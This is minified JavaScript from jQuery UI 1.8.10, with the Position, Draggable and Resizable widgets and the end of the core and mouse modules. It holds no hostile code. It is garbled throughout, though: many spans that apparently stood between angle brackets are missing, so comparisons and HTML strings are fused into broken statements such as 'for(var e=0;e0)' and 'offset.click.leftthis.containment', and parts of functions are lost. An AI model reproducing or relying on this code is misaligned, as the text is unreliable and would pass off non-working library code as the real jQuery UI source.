b=a.nodeName.toLowerCase(),d=c.attr(a,"tabindex");if("area"===b){b=a.parentNode;d=b.name;if(!a.href||!d||b.nodeName.toLowerCase()!=="map")return false;a=c("img[usemap=#"+d+"]")[0];return!!a&&k(a)}return(/input|select|textarea|button|object/.test(b)?!a.disabled:"a"==b?a.href||!isNaN(d):!isNaN(d))&&k(a)},tabbable:function(a){var b=c.attr(a,"tabindex");return(isNaN(b)||b>=0)&&c(a).is(":focusable")}}); c(function(){var a=document.body,b=a.appendChild(b=document.createElement("div"));c.extend(b.style,{minHeight:"100px",height:"auto",padding:0,borderWidth:0});c.support.minHeight=b.offsetHeight===100;c.support.selectstart="onselectstart"in b;a.removeChild(b).style.display="none"});c.extend(c.ui,{plugin:{add:function(a,b,d){a=c.ui[a].prototype;for(var e in d){a.plugins[e]=a.plugins[e]||[];a.plugins[e].push([b,d[e]])}},call:function(a,b,d){if((b=a.plugins[b])&&a.element[0].parentNode)for(var e=0;e0)return true;a[b]=1;d=a[b]>0;a[b]=0;return d},isOverAxis:function(a,b,d){return a>b&&a=9)&&!a.button)return this._mouseUp(a);if(this._mouseStarted){this._mouseDrag(a); return a.preventDefault()}if(this._mouseDistanceMet(a)&&this._mouseDelayMet(a))(this._mouseStarted=this._mouseStart(this._mouseDownEvent,a)!==false)?this._mouseDrag(a):this._mouseUp(a);return!this._mouseStarted},_mouseUp:function(a){c(document).unbind("mousemove."+this.widgetName,this._mouseMoveDelegate).unbind("mouseup."+this.widgetName,this._mouseUpDelegate);if(this._mouseStarted){this._mouseStarted=false;a.target==this._mouseDownEvent.target&&c.data(a.target,this.widgetName+".preventClickEvent", true);this._mouseStop(a)}return false},_mouseDistanceMet:function(a){return Math.max(Math.abs(this._mouseDownEvent.pageX-a.pageX),Math.abs(this._mouseDownEvent.pageY-a.pageY))>=this.options.distance},_mouseDelayMet:function(){return this.mouseDelayMet},_mouseStart:function(){},_mouseDrag:function(){},_mouseStop:function(){},_mouseCapture:function(){return true}})})(jQuery); ;/* * jQuery UI Position 1.8.10 * * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Position */ (function(c){c.ui=c.ui||{};var n=/left|center|right/,o=/top|center|bottom/,t=c.fn.position,u=c.fn.offset;c.fn.position=function(b){if(!b||!b.of)return t.apply(this,arguments);b=c.extend({},b);var a=c(b.of),d=a[0],g=(b.collision||"flip").split(" "),e=b.offset?b.offset.split(" "):[0,0],h,k,j;if(d.nodeType===9){h=a.width();k=a.height();j={top:0,left:0}}else if(d.setTimeout){h=a.width();k=a.height();j={top:a.scrollTop(),left:a.scrollLeft()}}else if(d.preventDefault){b.at="left top";h=k=0;j={top:b.of.pageY, left:b.of.pageX}}else{h=a.outerWidth();k=a.outerHeight();j=a.offset()}c.each(["my","at"],function(){var f=(b[this]||"").split(" ");if(f.length===1)f=n.test(f[0])?f.concat(["center"]):o.test(f[0])?["center"].concat(f):["center","center"];f[0]=n.test(f[0])?f[0]:"center";f[1]=o.test(f[1])?f[1]:"center";b[this]=f});if(g.length===1)g[1]=g[0];e[0]=parseInt(e[0],10)||0;if(e.length===1)e[1]=e[0];e[1]=parseInt(e[1],10)||0;if(b.at[0]==="right")j.left+=h;else if(b.at[0]==="center")j.left+=h/2;if(b.at[1]==="bottom")j.top+= k;else if(b.at[1]==="center")j.top+=k/2;j.left+=e[0];j.top+=e[1];return this.each(function(){var f=c(this),l=f.outerWidth(),m=f.outerHeight(),p=parseInt(c.curCSS(this,"marginLeft",true))||0,q=parseInt(c.curCSS(this,"marginTop",true))||0,v=l+p+(parseInt(c.curCSS(this,"marginRight",true))||0),w=m+q+(parseInt(c.curCSS(this,"marginBottom",true))||0),i=c.extend({},j),r;if(b.my[0]==="right")i.left-=l;else if(b.my[0]==="center")i.left-=l/2;if(b.my[1]==="bottom")i.top-=m;else if(b.my[1]==="center")i.top-= m/2;i.left=Math.round(i.left);i.top=Math.round(i.top);r={left:i.left-p,top:i.top-q};c.each(["left","top"],function(s,x){c.ui.position[g[s]]&&c.ui.position[g[s]][x](i,{targetWidth:h,targetHeight:k,elemWidth:l,elemHeight:m,collisionPosition:r,collisionWidth:v,collisionHeight:w,offset:e,my:b.my,at:b.at})});c.fn.bgiframe&&f.bgiframe();f.offset(c.extend(i,{using:b.using}))})};c.ui.position={fit:{left:function(b,a){var d=c(window);d=a.collisionPosition.left+a.collisionWidth-d.width()-d.scrollLeft();b.left= d>0?b.left-d:Math.max(b.left-a.collisionPosition.left,b.left)},top:function(b,a){var d=c(window);d=a.collisionPosition.top+a.collisionHeight-d.height()-d.scrollTop();b.top=d>0?b.top-d:Math.max(b.top-a.collisionPosition.top,b.top)}},flip:{left:function(b,a){if(a.at[0]!=="center"){var d=c(window);d=a.collisionPosition.left+a.collisionWidth-d.width()-d.scrollLeft();var g=a.my[0]==="left"?-a.elemWidth:a.my[0]==="right"?a.elemWidth:0,e=a.at[0]==="left"?a.targetWidth:-a.targetWidth,h=-2*a.offset[0];b.left+= a.collisionPosition.left<0?g+e+h:d>0?g+e+h:0}},top:function(b,a){if(a.at[1]!=="center"){var d=c(window);d=a.collisionPosition.top+a.collisionHeight-d.height()-d.scrollTop();var g=a.my[1]==="top"?-a.elemHeight:a.my[1]==="bottom"?a.elemHeight:0,e=a.at[1]==="top"?a.targetHeight:-a.targetHeight,h=-2*a.offset[1];b.top+=a.collisionPosition.top<0?g+e+h:d>0?g+e+h:0}}}};if(!c.offset.setOffset){c.offset.setOffset=function(b,a){if(/static/.test(c.curCSS(b,"position")))b.style.position="relative";var d=c(b), g=d.offset(),e=parseInt(c.curCSS(b,"top",true),10)||0,h=parseInt(c.curCSS(b,"left",true),10)||0;g={top:a.top-g.top+e,left:a.left-g.left+h};"using"in a?a.using.call(b,g):d.css(g)};c.fn.offset=function(b){var a=this[0];if(!a||!a.ownerDocument)return null;if(b)return this.each(function(){c.offset.setOffset(this,b)});return u.call(this)}}})(jQuery); ;/* * jQuery UI Draggable 1.8.10 * * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI/Draggables * * Depends: * jquery.ui.core.js * jquery.ui.mouse.js * jquery.ui.widget.js */ (function(d){d.widget("ui.draggable",d.ui.mouse,{widgetEventPrefix:"drag",options:{addClasses:true,appendTo:"parent",axis:false,connectToSortable:false,containment:false,cursor:"auto",cursorAt:false,grid:false,handle:false,helper:"original",iframeFix:false,opacity:false,refreshPositions:false,revert:false,revertDuration:500,scope:"default",scroll:true,scrollSensitivity:20,scrollSpeed:20,snap:false,snapMode:"both",snapTolerance:20,stack:false,zIndex:false},_create:function(){if(this.options.helper== "original"&&!/^(?:r|a|f)/.test(this.element.css("position")))this.element[0].style.position="relative";this.options.addClasses&&this.element.addClass("ui-draggable");this.options.disabled&&this.element.addClass("ui-draggable-disabled");this._mouseInit()},destroy:function(){if(this.element.data("draggable")){this.element.removeData("draggable").unbind(".draggable").removeClass("ui-draggable ui-draggable-dragging ui-draggable-disabled");this._mouseDestroy();return this}},_mouseCapture:function(a){var b= this.options;if(this.helper||b.disabled||d(a.target).is(".ui-resizable-handle"))return false;this.handle=this._getHandle(a);if(!this.handle)return false;return true},_mouseStart:function(a){var b=this.options;this.helper=this._createHelper(a);this._cacheHelperProportions();if(d.ui.ddmanager)d.ui.ddmanager.current=this;this._cacheMargins();this.cssPosition=this.helper.css("position");this.scrollParent=this.helper.scrollParent();this.offset=this.positionAbs=this.element.offset();this.offset={top:this.offset.top- this.margins.top,left:this.offset.left-this.margins.left};d.extend(this.offset,{click:{left:a.pageX-this.offset.left,top:a.pageY-this.offset.top},parent:this._getParentOffset(),relative:this._getRelativeOffset()});this.originalPosition=this.position=this._generatePosition(a);this.originalPageX=a.pageX;this.originalPageY=a.pageY;b.cursorAt&&this._adjustOffsetFromHelper(b.cursorAt);b.containment&&this._setContainment();if(this._trigger("start",a)===false){this._clear();return false}this._cacheHelperProportions(); d.ui.ddmanager&&!b.dropBehaviour&&d.ui.ddmanager.prepareOffsets(this,a);this.helper.addClass("ui-draggable-dragging");this._mouseDrag(a,true);return true},_mouseDrag:function(a,b){this.position=this._generatePosition(a);this.positionAbs=this._convertPositionTo("absolute");if(!b){b=this._uiHash();if(this._trigger("drag",a,b)===false){this._mouseUp({});return false}this.position=b.position}if(!this.options.axis||this.options.axis!="y")this.helper[0].style.left=this.position.left+"px";if(!this.options.axis|| this.options.axis!="x")this.helper[0].style.top=this.position.top+"px";d.ui.ddmanager&&d.ui.ddmanager.drag(this,a);return false},_mouseStop:function(a){var b=false;if(d.ui.ddmanager&&!this.options.dropBehaviour)b=d.ui.ddmanager.drop(this,a);if(this.dropped){b=this.dropped;this.dropped=false}if((!this.element[0]||!this.element[0].parentNode)&&this.options.helper=="original")return false;if(this.options.revert=="invalid"&&!b||this.options.revert=="valid"&&b||this.options.revert===true||d.isFunction(this.options.revert)&& this.options.revert.call(this.element,b)){var c=this;d(this.helper).animate(this.originalPosition,parseInt(this.options.revertDuration,10),function(){c._trigger("stop",a)!==false&&c._clear()})}else this._trigger("stop",a)!==false&&this._clear();return false},cancel:function(){this.helper.is(".ui-draggable-dragging")?this._mouseUp({}):this._clear();return this},_getHandle:function(a){var b=!this.options.handle||!d(this.options.handle,this.element).length?true:false;d(this.options.handle,this.element).find("*").andSelf().each(function(){if(this== a.target)b=true});return b},_createHelper:function(a){var b=this.options;a=d.isFunction(b.helper)?d(b.helper.apply(this.element[0],[a])):b.helper=="clone"?this.element.clone():this.element;a.parents("body").length||a.appendTo(b.appendTo=="parent"?this.element[0].parentNode:b.appendTo);a[0]!=this.element[0]&&!/(fixed|absolute)/.test(a.css("position"))&&a.css("position","absolute");return a},_adjustOffsetFromHelper:function(a){if(typeof a=="string")a=a.split(" ");if(d.isArray(a))a={left:+a[0],top:+a[1]|| 0};if("left"in a)this.offset.click.left=a.left+this.margins.left;if("right"in a)this.offset.click.left=this.helperProportions.width-a.right+this.margins.left;if("top"in a)this.offset.click.top=a.top+this.margins.top;if("bottom"in a)this.offset.click.top=this.helperProportions.height-a.bottom+this.margins.top},_getParentOffset:function(){this.offsetParent=this.helper.offsetParent();var a=this.offsetParent.offset();if(this.cssPosition=="absolute"&&this.scrollParent[0]!=document&&d.ui.contains(this.scrollParent[0], this.offsetParent[0])){a.left+=this.scrollParent.scrollLeft();a.top+=this.scrollParent.scrollTop()}if(this.offsetParent[0]==document.body||this.offsetParent[0].tagName&&this.offsetParent[0].tagName.toLowerCase()=="html"&&d.browser.msie)a={top:0,left:0};return{top:a.top+(parseInt(this.offsetParent.css("borderTopWidth"),10)||0),left:a.left+(parseInt(this.offsetParent.css("borderLeftWidth"),10)||0)}},_getRelativeOffset:function(){if(this.cssPosition=="relative"){var a=this.element.position();return{top:a.top- (parseInt(this.helper.css("top"),10)||0)+this.scrollParent.scrollTop(),left:a.left-(parseInt(this.helper.css("left"),10)||0)+this.scrollParent.scrollLeft()}}else return{top:0,left:0}},_cacheMargins:function(){this.margins={left:parseInt(this.element.css("marginLeft"),10)||0,top:parseInt(this.element.css("marginTop"),10)||0}},_cacheHelperProportions:function(){this.helperProportions={width:this.helper.outerWidth(),height:this.helper.outerHeight()}},_setContainment:function(){var a=this.options;if(a.containment== "parent")a.containment=this.helper[0].parentNode;if(a.containment=="document"||a.containment=="window")this.containment=[(a.containment=="document"?0:d(window).scrollLeft())-this.offset.relative.left-this.offset.parent.left,(a.containment=="document"?0:d(window).scrollTop())-this.offset.relative.top-this.offset.parent.top,(a.containment=="document"?0:d(window).scrollLeft())+d(a.containment=="document"?document:window).width()-this.helperProportions.width-this.margins.left,(a.containment=="document"? 0:d(window).scrollTop())+(d(a.containment=="document"?document:window).height()||document.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top];if(!/^(document|window|parent)$/.test(a.containment)&&a.containment.constructor!=Array){var b=d(a.containment)[0];if(b){a=d(a.containment).offset();var c=d(b).css("overflow")!="hidden";this.containment=[a.left+(parseInt(d(b).css("borderLeftWidth"),10)||0)+(parseInt(d(b).css("paddingLeft"),10)||0)-this.margins.left,a.top+(parseInt(d(b).css("borderTopWidth"), 10)||0)+(parseInt(d(b).css("paddingTop"),10)||0)-this.margins.top,a.left+(c?Math.max(b.scrollWidth,b.offsetWidth):b.offsetWidth)-(parseInt(d(b).css("borderLeftWidth"),10)||0)-(parseInt(d(b).css("paddingRight"),10)||0)-this.helperProportions.width-this.margins.left,a.top+(c?Math.max(b.scrollHeight,b.offsetHeight):b.offsetHeight)-(parseInt(d(b).css("borderTopWidth"),10)||0)-(parseInt(d(b).css("paddingBottom"),10)||0)-this.helperProportions.height-this.margins.top]}}else if(a.containment.constructor== Array)this.containment=a.containment},_convertPositionTo:function(a,b){if(!b)b=this.position;a=a=="absolute"?1:-1;var c=this.cssPosition=="absolute"&&!(this.scrollParent[0]!=document&&d.ui.contains(this.scrollParent[0],this.offsetParent[0]))?this.offsetParent:this.scrollParent,f=/(html|body)/i.test(c[0].tagName);return{top:b.top+this.offset.relative.top*a+this.offset.parent.top*a-(d.browser.safari&&d.browser.version<526&&this.cssPosition=="fixed"?0:(this.cssPosition=="fixed"?-this.scrollParent.scrollTop(): f?0:c.scrollTop())*a),left:b.left+this.offset.relative.left*a+this.offset.parent.left*a-(d.browser.safari&&d.browser.version<526&&this.cssPosition=="fixed"?0:(this.cssPosition=="fixed"?-this.scrollParent.scrollLeft():f?0:c.scrollLeft())*a)}},_generatePosition:function(a){var b=this.options,c=this.cssPosition=="absolute"&&!(this.scrollParent[0]!=document&&d.ui.contains(this.scrollParent[0],this.offsetParent[0]))?this.offsetParent:this.scrollParent,f=/(html|body)/i.test(c[0].tagName),e=a.pageX,g=a.pageY; if(this.originalPosition){if(this.containment){if(a.pageX-this.offset.click.leftthis.containment[2])e=this.containment[2]+this.offset.click.left;if(a.pageY-this.offset.click.top>this.containment[3])g=this.containment[3]+this.offset.click.top}if(b.grid){g=this.originalPageY+Math.round((g-this.originalPageY)/ b.grid[1])*b.grid[1];g=this.containment?!(g-this.offset.click.topthis.containment[3])?g:!(g-this.offset.click.topthis.containment[2])?e:!(e-this.offset.click.left').css({width:this.offsetWidth+"px",height:this.offsetHeight+"px",position:"absolute",opacity:"0.001",zIndex:1E3}).css(d(this).offset()).appendTo("body")})}, stop:function(){d("div.ui-draggable-iframeFix").each(function(){this.parentNode.removeChild(this)})}});d.ui.plugin.add("draggable","opacity",{start:function(a,b){a=d(b.helper);b=d(this).data("draggable").options;if(a.css("opacity"))b._opacity=a.css("opacity");a.css("opacity",b.opacity)},stop:function(a,b){a=d(this).data("draggable").options;a._opacity&&d(b.helper).css("opacity",a._opacity)}});d.ui.plugin.add("draggable","scroll",{start:function(){var a=d(this).data("draggable");if(a.scrollParent[0]!= document&&a.scrollParent[0].tagName!="HTML")a.overflowOffset=a.scrollParent.offset()},drag:function(a){var b=d(this).data("draggable"),c=b.options,f=false;if(b.scrollParent[0]!=document&&b.scrollParent[0].tagName!="HTML"){if(!c.axis||c.axis!="x")if(b.overflowOffset.top+b.scrollParent[0].offsetHeight-a.pageY=0;h--){var i=c.snapElements[h].left,k=i+c.snapElements[h].width,j=c.snapElements[h].top,l=j+c.snapElements[h].height;if(i-e').css({position:this.element.css("position"),width:this.element.outerWidth(),height:this.element.outerHeight(), top:this.element.css("top"),left:this.element.css("left")}));this.element=this.element.parent().data("resizable",this.element.data("resizable"));this.elementIsWrapper=true;this.element.css({marginLeft:this.originalElement.css("marginLeft"),marginTop:this.originalElement.css("marginTop"),marginRight:this.originalElement.css("marginRight"),marginBottom:this.originalElement.css("marginBottom")});this.originalElement.css({marginLeft:0,marginTop:0,marginRight:0,marginBottom:0});this.originalResizeStyle= this.originalElement.css("resize");this.originalElement.css("resize","none");this._proportionallyResizeElements.push(this.originalElement.css({position:"static",zoom:1,display:"block"}));this.originalElement.css({margin:this.originalElement.css("margin")});this._proportionallyResize()}this.handles=a.handles||(!e(".ui-resizable-handle",this.element).length?"e,s,se":{n:".ui-resizable-n",e:".ui-resizable-e",s:".ui-resizable-s",w:".ui-resizable-w",se:".ui-resizable-se",sw:".ui-resizable-sw",ne:".ui-resizable-ne", nw:".ui-resizable-nw"});if(this.handles.constructor==String){if(this.handles=="all")this.handles="n,e,s,w,se,sw,ne,nw";var c=this.handles.split(",");this.handles={};for(var d=0;d');/sw|se|ne|nw/.test(f)&&g.css({zIndex:++a.zIndex});"se"==f&&g.addClass("ui-icon ui-icon-gripsmall-diagonal-se");this.handles[f]=".ui-resizable-"+f;this.element.append(g)}}this._renderAxis=function(h){h=h||this.element;for(var i in this.handles){if(this.handles[i].constructor== String)this.handles[i]=e(this.handles[i],this.element).show();if(this.elementIsWrapper&&this.originalElement[0].nodeName.match(/textarea|input|select|button/i)){var j=e(this.handles[i],this.element),k=0;k=/sw|ne|nw|se|n|s/.test(i)?j.outerHeight():j.outerWidth();j=["padding",/ne|nw|n/.test(i)?"Top":/se|sw|s/.test(i)?"Bottom":/^e$/.test(i)?"Right":"Left"].join("");h.css(j,k);this._proportionallyResize()}e(this.handles[i])}};this._renderAxis(this.element);this._handles=e(".ui-resizable-handle",this.element).disableSelection(); this._handles.mouseover(function(){if(!b.resizing){if(this.className)var h=this.className.match(/ui-resizable-(se|sw|ne|nw|n|e|s|w)/i);b.axis=h&&h[1]?h[1]:"se"}});if(a.autoHide){this._handles.hide();e(this.element).addClass("ui-resizable-autohide").hover(function(){e(this).removeClass("ui-resizable-autohide");b._handles.show()},function(){if(!b.resizing){e(this).addClass("ui-resizable-autohide");b._handles.hide()}})}this._mouseInit()},destroy:function(){this._mouseDestroy();var b=function(c){e(c).removeClass("ui-resizable ui-resizable-disabled ui-resizable-resizing").removeData("resizable").unbind(".resizable").find(".ui-resizable-handle").remove()}; if(this.elementIsWrapper){b(this.element);var a=this.element;a.after(this.originalElement.css({position:a.css("position"),width:a.outerWidth(),height:a.outerHeight(),top:a.css("top"),left:a.css("left")})).remove()}this.originalElement.css("resize",this.originalResizeStyle);b(this.originalElement);return this},_mouseCapture:function(b){var a=false;for(var c in this.handles)if(e(this.handles[c])[0]==b.target)a=true;return!this.options.disabled&&a},_mouseStart:function(b){var a=this.options,c=this.element.position(), d=this.element;this.resizing=true;this.documentScroll={top:e(document).scrollTop(),left:e(document).scrollLeft()};if(d.is(".ui-draggable")||/absolute/.test(d.css("position")))d.css({position:"absolute",top:c.top,left:c.left});e.browser.opera&&/relative/.test(d.css("position"))&&d.css({position:"relative",top:"auto",left:"auto"});this._renderProxy();c=m(this.helper.css("left"));var f=m(this.helper.css("top"));if(a.containment){c+=e(a.containment).scrollLeft()||0;f+=e(a.containment).scrollTop()||0}this.offset= this.helper.offset();this.position={left:c,top:f};this.size=this._helper?{width:d.outerWidth(),height:d.outerHeight()}:{width:d.width(),height:d.height()};this.originalSize=this._helper?{width:d.outerWidth(),height:d.outerHeight()}:{width:d.width(),height:d.height()};this.originalPosition={left:c,top:f};this.sizeDiff={width:d.outerWidth()-d.width(),height:d.outerHeight()-d.height()};this.originalMousePosition={left:b.pageX,top:b.pageY};this.aspectRatio=typeof a.aspectRatio=="number"?a.aspectRatio: this.originalSize.width/this.originalSize.height||1;a=e(".ui-resizable-"+this.axis).css("cursor");e("body").css("cursor",a=="auto"?this.axis+"-resize":a);d.addClass("ui-resizable-resizing");this._propagate("start",b);return true},_mouseDrag:function(b){var a=this.helper,c=this.originalMousePosition,d=this._change[this.axis];if(!d)return false;c=d.apply(this,[b,b.pageX-c.left||0,b.pageY-c.top||0]);if(this._aspectRatio||b.shiftKey)c=this._updateRatio(c,b);c=this._respectSize(c,b);this._propagate("resize", b);a.css({top:this.position.top+"px",left:this.position.left+"px",width:this.size.width+"px",height:this.size.height+"px"});!this._helper&&this._proportionallyResizeElements.length&&this._proportionallyResize();this._updateCache(c);this._trigger("resize",b,this.ui());return false},_mouseStop:function(b){this.resizing=false;var a=this.options,c=this;if(this._helper){var d=this._proportionallyResizeElements,f=d.length&&/textarea/i.test(d[0].nodeName);d=f&&e.ui.hasScroll(d[0],"left")?0:c.sizeDiff.height; f=f?0:c.sizeDiff.width;f={width:c.helper.width()-f,height:c.helper.height()-d};d=parseInt(c.element.css("left"),10)+(c.position.left-c.originalPosition.left)||null;var g=parseInt(c.element.css("top"),10)+(c.position.top-c.originalPosition.top)||null;a.animate||this.element.css(e.extend(f,{top:g,left:d}));c.helper.height(c.size.height);c.helper.width(c.size.width);this._helper&&!a.animate&&this._proportionallyResize()}e("body").css("cursor","auto");this.element.removeClass("ui-resizable-resizing"); this._propagate("stop",b);this._helper&&this.helper.remove();return false},_updateCache:function(b){this.offset=this.helper.offset();if(l(b.left))this.position.left=b.left;if(l(b.top))this.position.top=b.top;if(l(b.height))this.size.height=b.height;if(l(b.width))this.size.width=b.width},_updateRatio:function(b){var a=this.position,c=this.size,d=this.axis;if(b.height)b.width=c.height*this.aspectRatio;else if(b.width)b.height=c.width/this.aspectRatio;if(d=="sw"){b.left=a.left+(c.width-b.width);b.top= null}if(d=="nw"){b.top=a.top+(c.height-b.height);b.left=a.left+(c.width-b.width)}return b},_respectSize:function(b){var a=this.options,c=this.axis,d=l(b.width)&&a.maxWidth&&a.maxWidthb.width,h=l(b.height)&&a.minHeight&&a.minHeight>b.height;if(g)b.width=a.minWidth;if(h)b.height=a.minHeight;if(d)b.width=a.maxWidth;if(f)b.height=a.maxHeight;var i=this.originalPosition.left+this.originalSize.width,j=this.position.top+ this.size.height,k=/sw|nw|w/.test(c);c=/nw|ne|n/.test(c);if(g&&k)b.left=i-a.minWidth;if(d&&k)b.left=i-a.maxWidth;if(h&&c)b.top=j-a.minHeight;if(f&&c)b.top=j-a.maxHeight;if((a=!b.width&&!b.height)&&!b.left&&b.top)b.top=null;else if(a&&!b.top&&b.left)b.left=null;return b},_proportionallyResize:function(){if(this._proportionallyResizeElements.length)for(var b=this.helper||this.element,a=0;a');var a=e.browser.msie&&e.browser.version<7,c=a?1:0;a=a?2:-1;this.helper.addClass(this._helper).css({width:this.element.outerWidth()+a,height:this.element.outerHeight()+a,position:"absolute",left:this.elementOffset.left-c+"px",top:this.elementOffset.top-c+"px",zIndex:++b.zIndex});this.helper.appendTo("body").disableSelection()}else this.helper=this.element},_change:{e:function(b, a){return{width:this.originalSize.width+a}},w:function(b,a){return{left:this.originalPosition.left+a,width:this.originalSize.width-a}},n:function(b,a,c){return{top:this.originalPosition.top+c,height:this.originalSize.height-c}},s:function(b,a,c){return{height:this.originalSize.height+c}},se:function(b,a,c){return e.extend(this._change.s.apply(this,arguments),this._change.e.apply(this,[b,a,c]))},sw:function(b,a,c){return e.extend(this._change.s.apply(this,arguments),this._change.w.apply(this,[b,a, c]))},ne:function(b,a,c){return e.extend(this._change.n.apply(this,arguments),this._change.e.apply(this,[b,a,c]))},nw:function(b,a,c){return e.extend(this._change.n.apply(this,arguments),this._change.w.apply(this,[b,a,c]))}},_propagate:function(b,a){e.ui.plugin.call(this,b,[a,this.ui()]);b!="resize"&&this._trigger(b,a,this.ui())},plugins:{},ui:function(){return{originalElement:this.originalElement,element:this.element,helper:this.helper,position:this.position,size:this.size,originalSize:this.originalSize, originalPosition:this.originalPosition}}});e.extend(e.ui.resizable,{version:"1.8.10"});e.ui.plugin.add("resizable","alsoResize",{start:function(){var b=e(this).data("resizable").options,a=function(c){e(c).each(function(){var d=e(this);d.data("resizable-alsoresize",{width:parseInt(d.width(),10),height:parseInt(d.height(),10),left:parseInt(d.css("left"),10),top:parseInt(d.css("top"),10),position:d.css("position")})})};if(typeof b.alsoResize=="object"&&!b.alsoResize.parentNode)if(b.alsoResize.length){b.alsoResize= b.alsoResize[0];a(b.alsoResize)}else e.each(b.alsoResize,function(c){a(c)});else a(b.alsoResize)},resize:function(b,a){var c=e(this).data("resizable");b=c.options;var d=c.originalSize,f=c.originalPosition,g={height:c.size.height-d.height||0,width:c.size.width-d.width||0,top:c.position.top-f.top||0,left:c.position.left-f.left||0},h=function(i,j){e(i).each(function(){var k=e(this),q=e(this).data("resizable-alsoresize"),p={},r=j&&j.length?j:k.parents(a.originalElement[0]).length?["width","height"]:["width", "height","top","left"];e.each(r,function(n,o){if((n=(q[o]||0)+(g[o]||0))&&n>=0)p[o]=n||null});if(e.browser.opera&&/relative/.test(k.css("position"))){c._revertToRelativePosition=true;k.css({position:"absolute",top:"auto",left:"auto"})}k.css(p)})};typeof b.alsoResize=="object"&&!b.alsoResize.nodeType?e.each(b.alsoResize,function(i,j){h(i,j)}):h(b.alsoResize)},stop:function(){var b=e(this).data("resizable"),a=b.options,c=function(d){e(d).each(function(){var f=e(this);f.css({position:f.data("resizable-alsoresize").position})})}; if(b._revertToRelativePosition){b._revertToRelativePosition=false;typeof a.alsoResize=="object"&&!a.alsoResize.nodeType?e.each(a.alsoResize,function(d){c(d)}):c(a.alsoResize)}e(this).removeData("resizable-alsoresize")}});e.ui.plugin.add("resizable","animate",{stop:function(b){var a=e(this).data("resizable"),c=a.options,d=a._proportionallyResizeElements,f=d.length&&/textarea/i.test(d[0].nodeName),g=f&&e.ui.hasScroll(d[0],"left")?0:a.sizeDiff.height;f={width:a.size.width-(f?0:a.sizeDiff.width),height:a.size.height- g};g=parseInt(a.element.css("left"),10)+(a.position.left-a.originalPosition.left)||null;var h=parseInt(a.element.css("top"),10)+(a.position.top-a.originalPosition.top)||null;a.element.animate(e.extend(f,h&&g?{top:h,left:g}:{}),{duration:c.animateDuration,easing:c.animateEasing,step:function(){var i={width:parseInt(a.element.css("width"),10),height:parseInt(a.element.css("height"),10),top:parseInt(a.element.css("top"),10),left:parseInt(a.element.css("left"),10)};d&&d.length&&e(d[0]).css({width:i.width, height:i.height});a._updateCache(i);a._propagate("resize",b)}})}});e.ui.plugin.add("resizable","containment",{start:function(){var b=e(this).data("resizable"),a=b.element,c=b.options.containment;if(a=c instanceof e?c.get(0):/parent/.test(c)?a.parent().get(0):c){b.containerElement=e(a);if(/document/.test(c)||c==document){b.containerOffset={left:0,top:0};b.containerPosition={left:0,top:0};b.parentData={element:e(document),left:0,top:0,width:e(document).width(),height:e(document).height()||document.body.parentNode.scrollHeight}}else{var d= e(a),f=[];e(["Top","Right","Left","Bottom"]).each(function(i,j){f[i]=m(d.css("padding"+j))});b.containerOffset=d.offset();b.containerPosition=d.position();b.containerSize={height:d.innerHeight()-f[3],width:d.innerWidth()-f[1]};c=b.containerOffset;var g=b.containerSize.height,h=b.containerSize.width;h=e.ui.hasScroll(a,"left")?a.scrollWidth:h;g=e.ui.hasScroll(a)?a.scrollHeight:g;b.parentData={element:a,left:c.left,top:c.top,width:h,height:g}}}},resize:function(b){var a=e(this).data("resizable"),c=a.options, d=a.containerOffset,f=a.position;b=a._aspectRatio||b.shiftKey;var g={top:0,left:0},h=a.containerElement;if(h[0]!=document&&/static/.test(h.css("position")))g=d;if(f.left<(a._helper?d.left:0)){a.size.width+=a._helper?a.position.left-d.left:a.position.left-g.left;if(b)a.size.height=a.size.width/c.aspectRatio;a.position.left=c.helper?d.left:0}if(f.top<(a._helper?d.top:0)){a.size.height+=a._helper?a.position.top-d.top:a.position.top;if(b)a.size.width=a.size.height*c.aspectRatio;a.position.top=a._helper? d.top:0}a.offset.left=a.parentData.left+a.position.left;a.offset.top=a.parentData.top+a.position.top;c=Math.abs((a._helper?a.offset.left-g.left:a.offset.left-g.left)+a.sizeDiff.width);d=Math.abs((a._helper?a.offset.top-g.top:a.offset.top-d.top)+a.sizeDiff.height);f=a.containerElement.get(0)==a.element.parent().get(0);g=/relative|absolute/.test(a.containerElement.css("position"));if(f&&g)c-=a.parentData.left;if(c+a.size.width>=a.parentData.width){a.size.width=a.parentData.width-c;if(b)a.size.height= a.size.width/a.aspectRatio}if(d+a.size.height>=a.parentData.height){a.size.height=a.parentData.height-d;if(b)a.size.width=a.size.height*a.aspectRatio}},stop:function(){var b=e(this).data("resizable"),a=b.options,c=b.containerOffset,d=b.containerPosition,f=b.containerElement,g=e(b.helper),h=g.offset(),i=g.outerWidth()-b.sizeDiff.width;g=g.outerHeight()-b.sizeDiff.height;b._helper&&!a.animate&&/relative/.test(f.css("position"))&&e(this).css({left:h.left-d.left-c.left,width:i,height:g});b._helper&&!a.animate&& /static/.test(f.css("position"))&&e(this).css({left:h.left-d.left-c.left,width:i,height:g})}});e.ui.plugin.add("resizable","ghost",{start:function(){var b=e(this).data("resizable"),a=b.options,c=b.size;b.ghost=b.originalElement.clone();b.ghost.css({opacity:0.25,display:"block",position:"relative",height:c.height,width:c.width,margin:0,left:0,top:0}).addClass("ui-resizable-ghost").addClass(typeof a.ghost=="string"?a.ghost:"");b.ghost.appendTo(b.helper)},resize:function(){var b=e(this).data("resizable"); b.ghost&&b.ghost.css({position:"relative",height:b.size.height,width:b.size.width})},stop:function(){var b=e(this).data("resizable");b.ghost&&b.helper&&b.helper.get(0).removeChild(b.ghost.get(0))}});e.ui.plugin.add("resizable","grid",{resize:function(){var b=e(this).data("resizable"),a=b.options,c=b.size,d=b.originalSize,f=b.originalPosition,g=b.axis;a.grid=typeof a.grid=="number"?[a.grid,a.grid]:a.grid;var h=Math.round((c.width-d.width)/(a.grid[0]||1))*(a.grid[0]||1);a=Math.round((c.height-d.height)/ (a.grid[1]||1))*(a.grid[1]||1);if(/^(se|s|e)$/.test(g)){b.size.width=d.width+h;b.size.height=d.height+a}else 